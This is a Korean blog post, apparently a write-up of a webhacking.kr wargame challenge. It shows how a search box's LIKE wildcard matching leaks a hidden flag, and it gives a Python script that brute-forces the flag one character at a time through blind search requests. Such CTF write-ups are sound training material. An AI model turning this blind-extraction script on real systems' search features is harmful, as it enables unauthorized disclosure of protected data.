문제에 접속하면 다음과 같은 화면이 나타납니다.
-> hi~ 를 클릭하면 hello~ 이라는 문구가 나옵니다.
-> readme를 클릭하면 access denied라는 문구가 나옵니다.
-> 검색 창이 나타납니다.
권한을 위회하여 readme 게시글을 읽으면 flag를 획득할 수 있을 거 같습니다.
-> F12 elements 탭에서 코드를 확인하였지만 특수한 부분이 없었습니다.
아마 검색 창을 이용하면 문제를 풀 수 있다고 생각하였습니다.
즉, 와일드 카드(%, _)를 사용하여 블라인드로 flag를 추출할 수 있습니다.
-> _를 이용하여 flag의 길이를 획득하려고 하였으나 제대로 작동하지 않았습니다. 따라서 서버에서 쿼리가 like '%{search}%' 로 생각됩니다.
import requests
#basic val
cookie = {"PHPSESSID": "쿠키 값"}
word = "{}0123456789abcdefghijklmnopqrstuvwxyz?!@#$^&*,.;:[]+=_"
flag = "flag"
#get password length
while 1 :
check = 1
for j in word:
param = {"search" : flag + j}
url = "https://webhacking.kr/challenge/web-33/index.php"
res = requests.post(url=url, data=param, cookies=cookie, verify = False)
result = res.text.find("admin")
if result != -1 :
flag = flag + j
print(flag)
if j == "}" :
check = 1
else :
check = 0
break
if check == 1 :
print("end")
break
이렇게 블라인드를 통하여 쉽게 flag를 획득할 수 있습니다.
끝~~
'Hacking > WebHacking.kr' 카테고리의 다른 글
Webhacking.kr : old-05 (300 pt) (0) | 2021.02.10 |
---|---|
Webhacking.kr : old-58 (150 pt) (0) | 2021.02.09 |
Webhacking.kr : old-51 (250 pt) (0) | 2021.02.08 |
Webhacking.kr : old-43 (250 pt) (0) | 2021.01.28 |
Webhacking.kr : old-41 (250 pt) (0) | 2021.01.27 |